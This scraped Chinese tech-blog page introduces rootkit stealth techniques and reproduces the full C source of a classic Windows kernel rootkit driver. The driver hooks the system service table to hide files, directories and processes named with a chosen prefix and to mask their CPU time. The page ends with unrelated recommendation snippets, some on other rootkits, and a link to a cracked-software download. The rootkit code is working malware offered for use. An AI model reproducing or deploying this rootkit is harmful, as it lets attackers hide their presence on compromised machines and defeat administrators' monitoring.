BASIc b

Rootkit隐形技术入门 Rootkit隐形技术入门这篇文章的作者: 宇文 出处:51CTO摘要:在安全界,rootkit已越来越引起人们的关注,而rootkit技术的过人之处就在于它的隐形技术,本文旨在向读者打开一扇通向rootkit隐形技术的大门。 一、综述本文将引领读者打造一个初级的内核级Rootkit,然后为其引入两种简单的隐形技术:进程隐形技术和文件隐形技术。同时,为了让读者获得rootk 阅读详情

// BASIC ROOTKIT that hides files, directories, and processes
// ----------------------------------------------------------
// v0.1 - Initial, Greg Hoglund (hoglund@rootkit.com)
// v0.2 - DirEntry struct fixed, b00lean (b00lean@rootkit.com)
// v0.3 - Added defines to compile on W2K, and comments.  Rich
// v0.4 - Fixed bug while manipulating _SYSTEM_PROCESS array.
//    Added code to hide process times of the _root_*'s. Creative
// ----------------------------------------------------------
// visit www.rootkit.com for latest rootkit warez
// ----------------------------------------------------------

#include "ntddk.h"
#include "stdarg.h"
#include "stdio.h"
#include "ntiologc.h"

#define DWORD unsigned long
#define WORD unsigned short
#define BOOL unsigned long

// Length of process name (rounded up to next DWORD)
#define PROCNAMELEN     20
// Maximum length of NT process name
#define NT_PROCNAMELEN  16

ULONG gProcessNameOffset;

typedef struct _FILETIME { // ft
    DWORD dwLowDateTime;
    DWORD dwHighDateTime;
} FILETIME;

#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

struct _SYSTEM_THREADS
{
        LARGE_INTEGER           KernelTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           CreateTime;
        ULONG                           WaitTime;
        PVOID                           StartAddress;
        CLIENT_ID                       ClientIs;
        KPRIORITY                       Priority;
        KPRIORITY                       BasePriority;
        ULONG                           ContextSwitchCount;
        ULONG                           ThreadState;
        KWAIT_REASON            WaitReason;
};

struct _SYSTEM_PROCESSES
{
        ULONG                           NextEntryDelta;
        ULONG                           ThreadCount;
        ULONG                           Reserved[6];
        LARGE_INTEGER           CreateTime;
        LARGE_INTEGER           UserTime;
        LARGE_INTEGER           KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                       BasePriority;
        ULONG                           ProcessId;
        ULONG                           InheritedFromProcessId;
        ULONG                           HandleCount;
        ULONG                           Reserved2[2];
        VM_COUNTERS                     VmCounters;
        IO_COUNTERS                     IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};

struct _SYSTEM_PROCESSOR_TIMES
{
  LARGE_INTEGER     IdleTime;
  LARGE_INTEGER     KernelTime;
  LARGE_INTEGER     UserTime;
  LARGE_INTEGER     DpcTime;
  LARGE_INTEGER     InterruptTime;
  ULONG       InterruptCount;
};
#if 0
typedef enum _WXPFILE_INFORMATION_CLASS {
// end_wdm
    FileDirectoryInformation         = 1,
    FileFullDirectoryInformation,   // 2
    FileBothDirectoryInformation,   // 3
    FileBasicInformation,           // 4  wdm
    FileStandardInformation,        // 5  wdm
    FileInternalInformation,        // 6
    FileEaInformation,              // 7
    FileAccessInformation,          // 8
    FileNameInformation,            // 9
    FileRenameInformation,          // 10
    FileLinkInformation,            // 11
    FileNamesInformation,           // 12
    FileDispositionInformation,     // 13
    FilePositionInformation,        // 14 wdm
    FileFullEaInformation,          // 15
    FileModeInformation,            // 16
    FileAlignmentInformation,       // 17
    FileAllInformation,             // 18
    FileAllocationInformation,      // 19
    FileEndOfFileInformation,       // 20 wdm
    FileAlternateNameInformation,   // 21
    FileStreamInformation,          // 22
    FilePipeInformation,            // 23
    FilePipeLocalInformation,       // 24
    FilePipeRemoteInformation,      // 25
    FileMailslotQueryInformation,   // 26
    FileMailslotSetInformation,     // 27
    FileCompressionInformation,     // 28
    FileObjectIdInformation,        // 29
    FileCompletionInformation,      // 30
    FileMoveClusterInformation,     // 31
    FileQuotaInformation,           // 32
    FileReparsePointInformation,    // 33
    FileNetworkOpenInformation,     // 34
    FileAttributeTagInformation,    // 35
    FileTrackingInformation,        // 36
    FileIdBothDirectoryInformation,     // 37
    FileIdFullDirectoryInformation, // 38
    FileValidDataLengthInformation, // 39
    FileShortNameInformation,       // 40
        FileMaximumInformation
// begin_wdm
} WXPFILE_INFORMATION_CLASS, *PWXPFILE_INFORMATION_CLASS;
#endif
#define FileIdFullDirectoryInformation 38
#define FileIdBothDirectoryInformation 37


typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
);

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
    HANDLE hFile,
        HANDLE hEvent,
        PIO_APC_ROUTINE IoApcRoutine,
        PVOID IoApcContext,
        PIO_STATUS_BLOCK pIoStatusBlock,
        PVOID FileInformationBuffer,
        ULONG FileInformationBufferLength,
        FILE_INFORMATION_CLASS FileInfoClass,
        BOOLEAN bReturnOnlyOneEntry,
        PUNICODE_STRING PathMask,
        BOOLEAN bRestartQuery
);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
ZWQUERYDIRECTORYFILE            OldZwQueryDirectoryFile;

LARGE_INTEGER     m_UserTime;
LARGE_INTEGER     m_KernelTime;

/* Find the offset of the process name within the executive process
   block.  We do this by searching for the first occurance of "System"
   in the current process when the device driver is loaded. */

void GetProcessNameOffset()
{
  PEPROCESS curproc = PsGetCurrentProcess();
  int i;
  for( i = 0; i < 3*PAGE_SIZE; i++ )
    {
      if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
 {
   gProcessNameOffset = i;
 }
    }
}

/* Copy the process name into the specified buffer.  */

BOOL GetProcessName( PCHAR theName )
{
  PEPROCESS       curproc;
  char            *nameptr;
  ULONG           i;
  KIRQL           oldirql;

  if( gProcessNameOffset )
    {
      curproc = PsGetCurrentProcess();
      nameptr   = (PCHAR) curproc + gProcessNameOffset;
      strncpy( theName, nameptr, NT_PROCNAMELEN );
      theName[NT_PROCNAMELEN] = 0; /* NULL at end */
      return TRUE;
    }
  return FALSE;
}

/* Given a directory entry, return the next
   directory entry in the linked list. */

DWORD getDirEntryLenToNext(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        DWORD result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileFullDirectoryInformation:
                        result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdFullDirectoryInformation:
                        result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileBothDirectoryInformation:
                        result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdBothDirectoryInformation:
                        result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileNamesInformation:
                        result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
        }
        return result;
}

/* Given two directory entries, link them together in a list. */

void setDirEntryLenToNext(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass,
                IN DWORD value
)
{
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileFullDirectoryInformation:
                        ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdFullDirectoryInformation:
                        ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileBothDirectoryInformation:
                        ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdBothDirectoryInformation:
                        ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileNamesInformation:
                        ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
        }
}
       
/* Return the filename of the specified directory entry. */

PVOID getDirEntryFileName(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        PVOID result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileFullDirectoryInformation:
                        result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdFullDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileBothDirectoryInformation:
                        result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdBothDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileNamesInformation:
                        result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
        }
        return result;
}

/* Return the length of the filename of the specified directory
   entry. */

ULONG getDirEntryFileLength(
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        ULONG result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileFullDirectoryInformation:
                        result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdFullDirectoryInformation:
                        result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileBothDirectoryInformation:
                        result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdBothDirectoryInformation:
                        result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileNamesInformation:
                        result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
        }
        return result;
}

/* NT's ZwQueryDirectoryFile() returns a a linked list of directory
   entries.  The function below imitates it, except it removes from
   the list any entry who's name begins with "_root_". */

NTSTATUS NewZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
               
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwQueryDirectoryFile() from %s/n", aProcessName);

        rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
                        hFile,                                                  /* this is the directory handle */
                        hEvent,
                        IoApcRoutine,
                        IoApcContext,
                        pIoStatusBlock,
                        FileInformationBuffer,
                        FileInformationBufferLength,
                        FileInfoClass,
                        bReturnOnlyOneEntry,
                        PathMask,
                        bRestartQuery);

        if( NT_SUCCESS( rc ) &&
                (FileInfoClass == FileDirectoryInformation ||
                 FileInfoClass == FileFullDirectoryInformation ||
                 FileInfoClass == FileIdFullDirectoryInformation ||
                 FileInfoClass == FileBothDirectoryInformation ||
                 FileInfoClass == FileIdBothDirectoryInformation ||
                 FileInfoClass == FileNamesInformation )
                )
        {
                if(0 == memcmp(aProcessName, "_root_", 6))
                {
                        DbgPrint("rootkit: detected file/directory query from _root_ process/n");
                }
                else
                {
                        PVOID p = FileInformationBuffer;
                        PVOID pLast = NULL;
                        BOOL bLastOne;
                        do
                        {
                                bLastOne = !getDirEntryLenToNext(p,FileInfoClass);
                               
                                // compare directory-name prefix with '_root_' to decide if to hide or not.

                                if (getDirEntryFileLength(p,FileInfoClass) >= 12) {
                                        if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), (PVOID)"_/0r/0o/0o/0t/0_/0", 12 ) == 12 )
                                        {
                                                if( bLastOne )
                                                {
                                                        if( p == FileInformationBuffer ) rc = 0x80000006;
                                                        else setDirEntryLenToNext(pLast,FileInfoClass, 0);
                                                        break;
                                                }
                                                else
                                                {
                                                        int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
                                                        int iLeft = (DWORD)FileInformationBufferLength - iPos - getDirEntryLenToNext(p,FileInfoClass);
                                                        RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft );
                                                        continue;
                                                }
                                        }
                                }
                                pLast = p;
                                p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) );
                        } while( !bLastOne );
                }
        }
        return(rc);
}

/* NT's ZwQuerySystemInformation() returns a linked list of processes.
   The function below imitates it, except it removes from the list any
   process who's name begins with "_root_". */

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
               
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName);

        rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                        SystemInformationClass,
                        SystemInformation,
                        SystemInformationLength,
                        ReturnLength );

        if( NT_SUCCESS( rc ) )
        {
                // double check the process name, if it starts w/ '_root_' DO NOT
                // apply any stealth
                if(0 == memcmp(aProcessName, "_seti_", 6))
                {
                        DbgPrint("rootkit: detected system query from _root_ process/n");
                }
                else if( 5 == SystemInformationClass )
                {
                        // this is a process list, look for process names that start with
                        // '_root_'
                        int iChanged = 0;
      struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
                        struct _SYSTEM_PROCESSES *prev = NULL;
      
                        while(curr)
                        {      
                                //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
                               
                                ANSI_STRING process_name;
                                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
                                if( (0 < process_name.Length) && (255 > process_name.Length) )
                                {
                                        if(0 == memcmp( process_name.Buffer, "_seti_", 6))
                                        {
                                                //////////////////////////////////////////////
                                                // we have a winner!
                                                //////////////////////////////////////////////
                                                char _output[255];
                                                char _pname[255];
                                                memset(_pname, 0, 255);
                                                memcpy(_pname, process_name.Buffer, process_name.Length);

                                                sprintf(        _output,
                                                                        "rootkit: hiding process, pid: %d/tname: %s/r/n",
                                                                        curr->ProcessId,
                                                                        _pname);
                                                DbgPrint(_output);

            iChanged = 1;

            m_UserTime.QuadPart += curr->UserTime.QuadPart;
            m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

                                                if(prev)
                                                {
                                                        if(curr->NextEntryDelta)
                                                        {
                                                                // make prev skip this entry
                                                                prev->NextEntryDelta += curr->NextEntryDelta;
                                                        }
                                                        else
                                                        {
                                                                // we are last, so make prev the end
                                                                prev->NextEntryDelta = 0;
                                                        }
                                                }
                                                else
                                                {
                                                        if(curr->NextEntryDelta)
                                                        {
                                                                // we are first in the list, so move it forward
                                                                (char *)SystemInformation += curr->NextEntryDelta;
                                                        }
                                                        else
                                                        {
                                                                // we are the only process!
                                                                SystemInformation = NULL;
                                                        }
                                                }
                                        }
                                }
        else
        {
         //add the times of _root_* processes to the idle process
         curr->UserTime.QuadPart += m_UserTime.QuadPart;
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
        }


                                RtlFreeAnsiString(&process_name);
                               
        if (0 == iChanged)
         prev = curr;
        else
         iChanged = 0;

                                if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                                else curr = NULL;
                        }
                }
    else if (8 == SystemInformationClass)   //SystemProcessorTimes
    {
     struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

     times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    }

        }
        return(rc);
}

/* This device driver doesn't service I/O requests, so we provide only
   a dummy I/O dispatch routine. */

NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
                       IO_NO_INCREMENT
                       );
    return Irp->IoStatus.Status;
}

/* Upon unloading this device driver, restore NT's original directory
   and process query functions. */

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
        DbgPrint("ROOTKIT: OnUnload called/n");

        // unhook system calls
        _asm cli
        (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))     =OldZwQueryDirectoryFile;
        (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
        _asm sti
}

/* Upon loading this device driver, 1) establish the offset of process
   names within the process block, 2) register the I/O and unload
   handlers, and 3) substitue the directory and process query
   functions with our stealthy imitations. */

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
  int i;

  DbgPrint("My Driver Loaded!");

  GetProcessNameOffset();

  // Register a dispatch function
  for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
    {
      theDriverObject->MajorFunction[i] = OnStubDispatch;
    }

  theDriverObject->DriverUnload  = OnUnload;

  m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

  // save old system call locations
  OldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
  OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

  // hook system calls
  _asm cli
    (ZWQUERYDIRECTORYFILE)  (SYSTEMSERVICE(ZwQueryDirectoryFile))=  NewZwQueryDirectoryFile;
  (ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;
  _asm sti
                               
    return STATUS_SUCCESS;
}
 

掌握Visual Basic编程:附录A和附录B的深入解析 本文深入探讨了《Visual Basic》书籍中的附录A和附录B内容,详述了ANSI值表以及Visual Basic的运行和管理程序的方法。附录A详细列举了ANSI字符集的值和对应的字符,为编程人员提供了字符编码的参考。附录B则提供了使用Visual Basic Express Edition的实用指南,包括如何调用、退出、管理程序,以及代码编辑器的使用技巧等。 阅读详情

相关推荐

rootkit,文件,进程隐藏

rootkit,backdoor,系统调用劫持,ps进程隐藏,ls文件隐藏,代码

RootKit的隐藏文件

#include "ntddk.h"#define DWORD unsigned long#define WORD unsigned short#define BOOL unsigned long#pragma pack(1)typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned in

errorlife的专栏 1794

linux下2.6.32的rootkit,隐藏文件目录

使用的是enyelkm v1.1本身的获取系统调用表的过程。 隐藏文件、目录通过修改sys_call_table第220项。

一个rootkit程序--隐藏文件和进程

This is SUSs rootkit. It can hide files and processes   when their names include "_sus_".=================================================================Written by dklkt.  2007.9Notice that

To be, or not to be: that is the question 1832

家用电器维修必备:手把手教你用双向可控硅改造单相电机调速(附电路图)

本文提供了一份详细的家用电器维修指南,手把手教你如何利用双向可控硅为核心元件,为单相交流电机(如风扇、排气扇)实现平滑的无级调速改造。内容涵盖核心原理、安全须知、元件选型(如BT136、DB3)、电路图解析、分步搭建教程以及常见故障排查方法,旨在帮助维修爱好者和DIY用户安全、成功地完成这一实用且富有成就感的项目。

read5的博客 835

Feko仿真GPS微带天线学习笔记

为了优化方便,使参数变量化,所以定义几个变量在CADFEKO左侧浏览器中如图所示定义变量,如下表贴片的尺寸切角尺寸feed =-6.4馈电点距坐标原点的距离sub_w=45基板的宽度sub_d=45基板的长度sub_h=5基板的高度epsR=5.6介电常数损耗角正切。

qq_36521926的博客 3991

内核获取进程名KeGetProcName

内核获取进程名,使用EPROCESS中的ImageFileName只能显示15个字节,如下:    +0x174 ImageFileName    : [16]  "aaaaaaaaaaaaaaa" 问了mo哥后发现SeAuditProcessCreationInfo中有ImageFileName 字段,类型为_OBJECT_NAME_INFORMATION,可以从该字段获取全路径和进程名。一

avder的专栏 4027

使用spacy规则化提取自然语言文本信息

1. 安装spacy pip install spicy spicy还需要载入文本库,使用pip的下载方式: python3 -m spacy download en_core_web_sm 但是很有可能因为网络问题下载速度非常缓慢,所以可以选择到github上去直接下载(注意和自己的spacy版本匹配):github下载链接 下载*.tar.gz文件即可。 然后切换到下载路径, pip install en_core_web_sm-3.1.0.tar.gz 2. spacy的一些基础用法 使用spa

六六六六神的博客 1818

潜伏的 Linux Rootkit:Syslogk

Syslogk 使用了多种方式隐藏自身:通过 hk_proc_readdir 隐藏包含恶意文件的目录通过 hk_getpr 隐藏特定进程通过 hk_t4_seq_show 隐藏特定服务通过安装 netfilter hook 控制接收到的特制 TCP 数据包通过硬编码的密钥利用特制 TCP 数据包远程启动 PayloadSyslogk 非常隐蔽,在特制的 TCP 数据包发送到实现主机前并不会加载后门,执行时也是打着 SMTP 合法服务的旗号进行隐蔽传输。

阿道夫的博客 808

SECS/GEM EAP 设备自动化功能原理和设计方案

半导体SECS GEMEAP实现了对生产线上机台的实时监控,是工厂自动化不可缺少的控制系统。EAP系统与FAB中的机台紧密相关,系统的设计与开发必须与生产线的机台实际生产流程相一致,才能达到控制机台生产的目的。 EAP SECS/GEM是MES与设备的桥梁,EAP通过SECS国际标准协议与机台进行数据传输。SECS是半导体设备(半导体行业称设备为机台)必须遵循的一种国际通信协议。EAP就是通过SECS与设备通信、传输数据、发送指令控制设备按照预先定义........

semisecs 17万+

Android 16(API 36)状态栏颜色适配全攻略:从沉浸式到自定义背景

本文全面解析Android 16(API 36)强制沉浸式状态栏带来的适配挑战,提供了从FrameLayout包裹法到动态修改Window背景色的核心解决方案。针对传统状态栏颜色设置失效问题,详细阐述了如何利用WindowInsets API实现自定义背景,并涵盖全屏模式、Fragment切换及第三方ROM兼容性等实战场景,为开发者提供一站式适配指南。

weixin_29227425的博客 594

B4A-Basic4android

Basic4android(简称B4A)是一个简单然而功能非常强大的Android应用开发环境。Basic4android语言类似于Visual Basic语言,支持更多的对象。Basic4android将代码编译成Android原生(native)应用,无需其它运行环境的支持。与其它的集成开发环境不同,Basic4android是完全用于Android应用开发的开发工具,不支持其它平台。Basi

REST2SQL ,JSON2WEB 1万+

工业级C#+YOLOv8缺陷检测系统:准确率98.5%、延迟<50ms的完整实现

本文分享了基于C#和YOLOv8的工业级表面缺陷检测系统实现方案。针对汽车零部件冲压件检测需求(60件/分钟,准确率>98%,延迟<100ms),作者对比了多种技术方案后选择了C#+YOLOv8+ONNX Runtime的组合,最终实现98.5%准确率和42ms延迟。 系统采用分层模块化架构,包含硬件层、采集层、推理层、业务层和控制层。核心优势包括:1)C#在工业环境下的稳定性和集成便利性;2)YOLOv8对复杂缺陷的泛化能力;3)ONNX Runtime GPU加速提升性能。文章详细介绍了硬件

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 1139

BT-Basic函数之首字母B

主要是在多板测试中,用来选择对应的板子的序号,用来选定该板故障状态、DUT故障状态、探针故障信息、日志缓冲区的内容,以及(如果启用了缓冲报告)报告缓冲区的内容。当测试开始时,每个板的状态信息与大板上其他板的状态信息分开存储。初始基线创建的命令 baseline create on all 在被监控的板目录中创建一个名为 .dbRevTracker 的基线数据库,并要求用户输入密码以便访问该基线数据库。当测试多块板的面板(而不是测试单块板)时,报告数据会被发送到当前板的缓冲区,由。系统之间的可移植性。

可可南木的博客 1295

华为OD机试真题2025双机位B卷 Java&Go 实现【朋友圈个数】

给定一组朋友关系,统计一下该朋友关系网中的朋友圈个数。 朋友圈的定义:一个朋友圈至少由3个朋友组成,且要求同一个朋友圈中的任意两个人都具有直接的朋友关系。 输入描述 输入一个朋友关系列表,如 Fiends =A.B],[A.C],IB,DI,其中的每一个元素 Friendsi表示 Friends[i][0)和 Friends [i][1] 是朋友关系 先输入一个数字 N 代表关系的总数,后面每条关系一行,两个成员以逗号分隔

MISAYAONE的博客 518

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

Basic4IOS B4I开发原生iOS,Visual Studio中编程

Basic4IOS B4I开发原生 iOS,Visual Studio中编程   Basic for IOS B4i 提供了一组用于开发原生 iOS 应用程序的工具。它遵循 Android 操作系统编程的 b4a 代码模型。这允许您重用代码来创建适用于 iOS 和 Android 的应用程序。   Basic4Ios 是一种流行的 iOS 应用程序开发工具,可用于许多其他产品,例如 B4A。这意味着您可以在不同平台上以最少的努力创建私人程序。   Basic4Ios企鹅2315702359是由创作者创

q2315702359的博客 688

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Basic4IOS (B4I) New Version Crack

